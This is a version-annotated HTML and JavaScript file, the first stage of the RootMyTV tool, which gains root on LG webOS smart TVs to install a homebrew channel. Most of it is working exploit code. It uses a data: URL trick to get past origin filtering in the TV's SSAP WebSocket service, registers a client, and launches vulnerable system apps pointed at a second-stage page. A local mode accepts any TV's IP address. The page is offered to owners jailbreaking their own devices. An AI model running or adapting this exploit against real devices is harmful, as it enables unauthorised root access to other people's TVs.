2021-05-13 16:05:13 +00:00
|
|
|
<!DOCTYPE html>
|
2021-04-25 20:00:25 +00:00
|
|
|
<html>
|
|
|
|
|
|
|
|
<head>
|
|
|
|
<title>RootMyTV - Stage 1</title>
|
2021-05-13 17:24:33 +00:00
|
|
|
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes, minimum-scale=1.0">
|
|
|
|
<meta name="description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
|
|
|
<meta name="keywords" content="webos, root, exploit, slide, rootmy, rootmytv, jailbreak, hack, unlock, homebrew, channel">
|
|
|
|
<meta property="og:title" content="RootMy.TV">
|
|
|
|
<meta property="og:description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
|
|
|
|
<meta property="og:image" content="https://rootmy.tv/img/thumb.jpg">
|
|
|
|
<meta name="twitter:card" content="summary_large_image">
|
2021-05-21 13:48:19 +00:00
|
|
|
<link rel="stylesheet" href="css/common.css" />
|
2021-04-25 20:00:25 +00:00
|
|
|
</head>
|
|
|
|
|
|
|
|
<body>
|
|
|
|
<header>
|
2021-06-25 14:07:02 +00:00
|
|
|
<h1>RootMy.TV<small> 2.0</small></h1>
|
2021-04-25 20:00:25 +00:00
|
|
|
</header>
|
|
|
|
<hr>
|
|
|
|
<section class="content-center">
|
2021-05-13 16:05:13 +00:00
|
|
|
<article id="main-article">
|
|
|
|
<p>
|
|
|
|
This webpage will exploit your LG webOS smart TV, gain local root privileges,
|
|
|
|
and install the <a href="https://github.com/webosbrew/webos-homebrew-channel">
|
2021-06-13 14:46:53 +00:00
|
|
|
webOS Homebrew Channel.</a>
|
|
|
|
</p>
|
2023-12-15 23:37:40 +00:00
|
|
|
<p id="patched">
|
|
|
|
If you get a <span class="code">Denied method call</span> error or your
|
|
|
|
TV reboots but Homebrew Channel is not installed, then <b>your TV is
|
|
|
|
patched</b>. All firmware released since mid-2022 is patched.
|
|
|
|
There is no need to report this to us.
|
|
|
|
</p>
|
2021-06-13 14:46:53 +00:00
|
|
|
<p>
|
|
|
|
<b>/!\ IMPORTANT /!\ :</b> Read <a href="https://github.com/RootMyTV/RootMyTV.github.io">our documentation</a>
|
|
|
|
<b>BEFORE</b> you continue - or risk bricking your TV!
|
2021-05-13 16:05:13 +00:00
|
|
|
</p>
|
|
|
|
<p>
|
2021-05-26 19:00:49 +00:00
|
|
|
Once you're ready to proceed, drag the slider below (<i class="click-here">or press "5" / click here</i>).
|
2021-05-13 16:05:13 +00:00
|
|
|
</p>
|
|
|
|
<div class="slider-bar">
|
|
|
|
<div class="slider-button"><p>-></p></div>
|
|
|
|
<p class="slider-text">slide to root</p>
|
|
|
|
</div>
|
|
|
|
<p>
|
2021-05-13 16:57:51 +00:00
|
|
|
Note: You must open this webpage on your TV to trigger the exploit.
|
2021-05-13 16:05:13 +00:00
|
|
|
</p>
|
2021-04-25 20:00:25 +00:00
|
|
|
</article>
|
|
|
|
</section>
|
2021-05-13 16:05:13 +00:00
|
|
|
<hr>
|
2021-04-25 20:00:25 +00:00
|
|
|
|
|
|
|
<script>
|
2021-04-25 20:40:40 +00:00
|
|
|
window.ORIGIN_URL =
|
|
|
|
window.location.protocol === 'data:' ? '__START_ORIGIN__' :
|
|
|
|
window.location.protocol === 'file:' ? 'https://rootmy.tv' : window.location.href;
|
2021-04-25 20:00:25 +00:00
|
|
|
|
|
|
|
window.onerror = function (err) {
|
|
|
|
console.error(err);
|
|
|
|
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
|
|
|
|
};
|
|
|
|
</script>
|
|
|
|
<script>
|
2021-06-17 05:46:16 +00:00
|
|
|
var is_webos = navigator.userAgent.toLowerCase().indexOf("webos") !== -1 ||
|
|
|
|
navigator.userAgent.toLowerCase().indexOf("netcast") !== -1 ||
|
|
|
|
navigator.userAgent.toLowerCase().indexOf("smarttv") !== -1;
|
|
|
|
console.log("is_webos: " + is_webos)
|
2021-04-25 20:00:25 +00:00
|
|
|
// Exploit data: url navigation for browsers which didn't have following patch
|
|
|
|
// applied yet (webOS 3.x):
|
|
|
|
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
|
|
|
|
try {
|
2021-06-17 05:46:16 +00:00
|
|
|
if (window.location.protocol !== 'data:' && is_webos) {
|
2021-04-25 20:00:25 +00:00
|
|
|
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
|
2021-05-26 18:40:01 +00:00
|
|
|
.replace('="css/common.css"', '="' + new URL('css/common.css', window.location.href).href + '"')
|
2021-04-25 20:00:25 +00:00
|
|
|
.replace('__START_ORIGIN__', window.location.href));
|
|
|
|
}
|
|
|
|
} catch (err) {}
|
|
|
|
|
|
|
|
function log(str) {
|
|
|
|
var logBox = document.querySelector('#log');
|
2021-05-13 16:30:31 +00:00
|
|
|
logBox.innerText = logBox.innerText + str + '\n';
|
|
|
|
logBox.scrollIntoView(false)
|
2021-04-25 20:00:25 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
// Minimal implementation of WebSocket API that we use to workaround origin
|
|
|
|
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
|
|
|
|
// null header to be sent, which is explicitly allowed.
|
|
|
|
function ProxyWebSocket(target) {
|
|
|
|
|
|
|
|
// Proxy payload - this function is run in data: iframe and is meant to exchange
|
|
|
|
// WebSocket calls and events with parent frame.
|
|
|
|
function proxyPayload(address) {
|
|
|
|
// Helper function that forwards events/messages to parent frame
|
|
|
|
function forward(type, data) {
|
|
|
|
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
|
|
|
|
}
|
|
|
|
|
|
|
|
try {
|
|
|
|
var conn = new WebSocket(address);
|
|
|
|
conn.onopen = function (evt) {forward('open', evt);}
|
|
|
|
conn.onclose = function (evt) {forward('close', evt);}
|
|
|
|
conn.onerror = function (evt) {forward('error', evt);}
|
|
|
|
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
|
|
|
|
window.addEventListener("message", function (event) {
|
|
|
|
var msg = JSON.parse(event.data);
|
|
|
|
if (msg.type === 'send') {
|
|
|
|
conn.send(msg.data);
|
|
|
|
}
|
|
|
|
}, false);
|
|
|
|
} catch (err) {
|
|
|
|
forward('error', err);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
var self = this;
|
|
|
|
this.proxy = document.createElement('iframe');
|
|
|
|
this.proxy.style.display = 'none';
|
|
|
|
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
|
|
|
|
window.addEventListener("message", function (event) {
|
|
|
|
if (event.source !== self.proxy.contentWindow) return;
|
|
|
|
const msg = JSON.parse(event.data);
|
|
|
|
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
|
|
|
|
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
|
|
|
|
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
|
|
|
|
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
|
|
|
|
if (msg.type === 'log') console.info('proxy:', msg.data);
|
|
|
|
}, false);
|
|
|
|
document.querySelector('body').appendChild(this.proxy);
|
|
|
|
return this;
|
|
|
|
}
|
|
|
|
ProxyWebSocket.prototype.send = function (data) {
|
|
|
|
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
|
|
|
|
}
|
|
|
|
ProxyWebSocket.prototype.close = function () {
|
|
|
|
this.proxy.parentNode.removeChild(this.proxy);
|
|
|
|
}
|
|
|
|
|
|
|
|
// Final exploit code
|
|
|
|
var conn = null;
|
|
|
|
function bootstrap(target, url) {
|
|
|
|
try {
|
|
|
|
log('0. Connecting...');
|
|
|
|
|
|
|
|
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
|
|
|
|
conn = new ProxyWebSocket('ws://' + target + ':3000');
|
|
|
|
conn.onopen = function (evt) {
|
|
|
|
console.info('open', evt);
|
|
|
|
log('1. Connected, registering... Accept prompt on the TV.');
|
|
|
|
const handshake = {
|
|
|
|
id: "reg_req",
|
|
|
|
type: "register",
|
|
|
|
payload: {
|
|
|
|
forcePairing: false,
|
|
|
|
pairingType: "PROMPT",
|
|
|
|
"client-key": "xxx",
|
|
|
|
|
|
|
|
// Minimal manifest that gives us permission to launch a system
|
|
|
|
// application
|
|
|
|
manifest: {
|
|
|
|
manifestVersion: 1,
|
2021-05-13 16:37:22 +00:00
|
|
|
"localizedAppNames": {
|
|
|
|
"": "RootMyTV",
|
|
|
|
},
|
2021-06-25 14:07:02 +00:00
|
|
|
permissions: ["LAUNCH", "READ_INSTALLED_APPS"],
|
2021-04-25 20:00:25 +00:00
|
|
|
},
|
|
|
|
}
|
|
|
|
};
|
|
|
|
conn.send(JSON.stringify(handshake));
|
|
|
|
};
|
|
|
|
|
2021-06-25 14:07:02 +00:00
|
|
|
const pendingRequests = {};
|
|
|
|
function request(uri, payload, callback) {
|
|
|
|
const id = String(Date.now());
|
|
|
|
conn.send(JSON.stringify({
|
|
|
|
id: id,
|
|
|
|
type: "request",
|
|
|
|
uri: uri,
|
|
|
|
payload: payload,
|
|
|
|
}));
|
|
|
|
pendingRequests[id] = callback;
|
|
|
|
}
|
|
|
|
|
2021-04-25 20:00:25 +00:00
|
|
|
conn.onmessage = function (evt) {
|
|
|
|
const msg = JSON.parse(evt.data);
|
|
|
|
|
|
|
|
if (msg.type === 'registered') {
|
2021-06-25 14:07:02 +00:00
|
|
|
log('2. Registered - looking for vulnerable apps...');
|
|
|
|
request('ssap://com.webos.applicationManager/listApps', {}, function(msg) {
|
|
|
|
if (msg.type === 'response') {
|
|
|
|
const candidates = {
|
|
|
|
"com.webos.app.facebooklogin": {
|
|
|
|
priority: 1000,
|
|
|
|
params: { server: url.replace('http://', '').replace('https://', '') + "#" },
|
|
|
|
},
|
|
|
|
"com.webos.app.acrcard": {
|
2022-01-15 00:26:57 +00:00
|
|
|
// acrcard is broken on 3.x? worth debugging.
|
|
|
|
priority: (navigator.userAgent.indexOf("Chrome/38.0") !== -1) ? -1000 : 2000,
|
2021-06-25 14:07:02 +00:00
|
|
|
params: { contentTarget: url },
|
|
|
|
},
|
|
|
|
"com.webos.app.alibaba": {
|
|
|
|
priority: 2500,
|
|
|
|
params: { target: url },
|
|
|
|
},
|
|
|
|
};
|
|
|
|
|
|
|
|
var bestMatch = null;
|
|
|
|
msg.payload.apps.forEach(function(app) {
|
|
|
|
if (app.id in candidates) {
|
|
|
|
log("3. Found " + app.id);
|
|
|
|
if (bestMatch === null || candidates[bestMatch].priority < candidates[app.id].priority) {
|
|
|
|
bestMatch = app.id;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
});
|
|
|
|
if (!bestMatch) {
|
|
|
|
log("3. No vulnerable apps found :(");
|
|
|
|
} else {
|
|
|
|
log("3. Launching " + bestMatch + "...");
|
|
|
|
request("ssap://system.launcher/launch", {
|
|
|
|
id: bestMatch,
|
|
|
|
params: candidates[bestMatch].params,
|
|
|
|
}, function(msg) {
|
|
|
|
log("3. Launch result: " + JSON.stringify(msg));
|
|
|
|
});
|
2021-04-25 20:00:25 +00:00
|
|
|
}
|
2021-06-25 14:07:02 +00:00
|
|
|
}
|
|
|
|
});
|
2021-04-25 20:00:25 +00:00
|
|
|
} else if (msg.type === 'response') {
|
2021-06-25 14:07:02 +00:00
|
|
|
if (pendingRequests[msg.id]) {
|
|
|
|
pendingRequests[msg.id](msg);
|
|
|
|
delete pendingRequests[msg.id];
|
2021-04-25 20:00:25 +00:00
|
|
|
} else if (msg.id !== 'reg_req') {
|
|
|
|
log('Unexpected response: ' + evt.data);
|
|
|
|
}
|
|
|
|
} else if (msg.type === 'error') {
|
|
|
|
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
|
2021-06-25 14:07:02 +00:00
|
|
|
if (pendingRequests[msg.id]) {
|
|
|
|
pendingRequests[msg.id](msg);
|
|
|
|
delete pendingRequests[msg.id];
|
|
|
|
}
|
2021-04-25 20:00:25 +00:00
|
|
|
} else {
|
|
|
|
log('Unexpected message: ' + evt.data);
|
|
|
|
}
|
|
|
|
};
|
|
|
|
conn.onclose = function (evt) {
|
|
|
|
console.info('close', evt);
|
|
|
|
log('Closed');
|
|
|
|
};
|
|
|
|
conn.onerror = function (evt) {
|
|
|
|
console.info('error', evt);
|
|
|
|
if (evt.message && evt.message.indexOf('insecure') !== -1) {
|
|
|
|
log('Error occured during connection... Attempting data URL hack...');
|
|
|
|
} else {
|
|
|
|
log('Error occured during connection - Do you have LG Connect Apps enabled?');
|
|
|
|
}
|
|
|
|
};
|
|
|
|
} catch (err) {
|
|
|
|
log("An unexpected error occured: " + err.toString());
|
|
|
|
}
|
|
|
|
}
|
2021-05-13 16:05:13 +00:00
|
|
|
function begin_exploit() {
|
|
|
|
// replace main body with log window
|
|
|
|
document.querySelector("#main-article").innerHTML = "<pre id='log'></pre>";
|
2021-05-26 18:38:48 +00:00
|
|
|
|
2021-05-13 16:57:51 +00:00
|
|
|
var is_local = window.location.protocol === 'file:';
|
2021-05-26 18:38:48 +00:00
|
|
|
|
2021-05-13 17:24:33 +00:00
|
|
|
if (!is_local && !is_webos) {
|
2021-05-13 16:57:51 +00:00
|
|
|
log("[Warning] You should be visiting this page from a webOS device, not your desktop web browser!");
|
|
|
|
}
|
2021-05-26 18:38:48 +00:00
|
|
|
|
2021-04-25 20:40:40 +00:00
|
|
|
// Allow people to download the exploit page to manually set target IP,
|
|
|
|
// in case direct on-tv deployment fails for some reason.
|
2021-11-12 18:47:13 +00:00
|
|
|
var target = is_local ? prompt('Enter IP address of Your TV') : '127.0.0.1';
|
2021-04-25 20:40:40 +00:00
|
|
|
bootstrap(target, new URL('stage2.html', ORIGIN_URL).href);
|
2021-05-13 16:05:13 +00:00
|
|
|
}
|
2021-05-26 18:38:48 +00:00
|
|
|
|
2021-05-13 16:09:07 +00:00
|
|
|
// listen for "5" key to be pressed
|
2021-05-26 18:38:48 +00:00
|
|
|
document.addEventListener("keydown", function(event) {
|
2021-05-13 16:09:07 +00:00
|
|
|
if (event.keyCode === 53) {
|
|
|
|
begin_exploit();
|
|
|
|
}
|
|
|
|
});
|
2021-05-26 18:40:24 +00:00
|
|
|
|
2021-05-26 19:00:49 +00:00
|
|
|
document.querySelector('.click-here').addEventListener('click', function (event) {
|
|
|
|
begin_exploit();
|
|
|
|
});
|
|
|
|
|
2021-05-26 18:40:24 +00:00
|
|
|
/* slider animation logic */
|
|
|
|
var slider = document.getElementsByClassName("slider-button")[0];
|
|
|
|
var sliderText = document.getElementsByClassName("slider-text")[0];
|
|
|
|
var startX = 0;
|
|
|
|
var endX = 0;
|
|
|
|
var posX = 0;
|
|
|
|
var grabbed = false;
|
|
|
|
var velX = 0;
|
|
|
|
var lastUpdate = Date.now();
|
|
|
|
var prevPosX = 0;
|
2022-01-15 16:57:54 +00:00
|
|
|
var moved = false;
|
2021-05-26 18:40:24 +00:00
|
|
|
|
|
|
|
function slidermousedown(e) {
|
|
|
|
e.preventDefault();
|
|
|
|
startX = e.clientX;
|
|
|
|
grabbed = true;
|
|
|
|
endX = Math.floor(slider.parentElement.clientWidth * 0.827);
|
|
|
|
|
|
|
|
window.onmousemove = slidermousemove;
|
|
|
|
window.onmouseup = slidermouseup;
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
function slidermousemove(e) {
|
|
|
|
e.preventDefault();
|
|
|
|
var deltaX = e.clientX - startX;
|
2022-01-15 16:57:54 +00:00
|
|
|
moved = true;
|
2021-05-26 18:40:24 +00:00
|
|
|
if (deltaX < 0) {
|
|
|
|
deltaX = 0;
|
|
|
|
} else if (deltaX > endX) {
|
|
|
|
deltaX = endX;
|
|
|
|
}
|
|
|
|
posX = deltaX; // XXX fixme
|
|
|
|
}
|
|
|
|
|
|
|
|
function slidermouseup(e) {
|
|
|
|
window.onmousemove = null;
|
|
|
|
window.onmouseup = null;
|
|
|
|
velX = 0;
|
2022-01-15 16:57:54 +00:00
|
|
|
if (posX == endX || (posX == 0 && !moved)) {
|
2021-05-26 18:40:24 +00:00
|
|
|
begin_exploit();
|
|
|
|
slider.onmousedown = null;
|
|
|
|
} else {
|
|
|
|
grabbed = false;
|
|
|
|
}
|
2022-01-15 16:57:54 +00:00
|
|
|
moved = false;
|
2021-05-26 18:40:24 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
function animate_tick() {
|
|
|
|
var now = Date.now();
|
|
|
|
var dt = now - lastUpdate;
|
|
|
|
ticks = dt/(1000/60);
|
|
|
|
if (ticks > 4) ticks = 4;
|
|
|
|
lastUpdate = now;
|
|
|
|
|
|
|
|
if (!grabbed && posX != 0) {
|
|
|
|
var accel = (0.5 + posX/200) * ticks;
|
|
|
|
velX -= accel;
|
|
|
|
posX += velX * ticks;
|
|
|
|
|
|
|
|
if (posX < 0) {
|
|
|
|
velX *= -0.3;
|
|
|
|
posX *= -0.3;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (posX < 0.1) {
|
|
|
|
posX = 0;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if (prevPosX != posX) {
|
|
|
|
slider.style.left = Math.floor(posX) + "px";
|
|
|
|
sliderText.style.opacity = 1-(posX/endX);
|
|
|
|
}
|
|
|
|
|
|
|
|
prevPosX = posX;
|
|
|
|
window.requestAnimationFrame(animate_tick);
|
|
|
|
}
|
|
|
|
|
|
|
|
slider.onmousedown = slidermousedown;
|
|
|
|
window.requestAnimationFrame(animate_tick);
|
2021-04-25 20:00:25 +00:00
|
|
|
</script>
|
|
|
|
</body>
|
|
|
|
|
|
|
|
</html>
|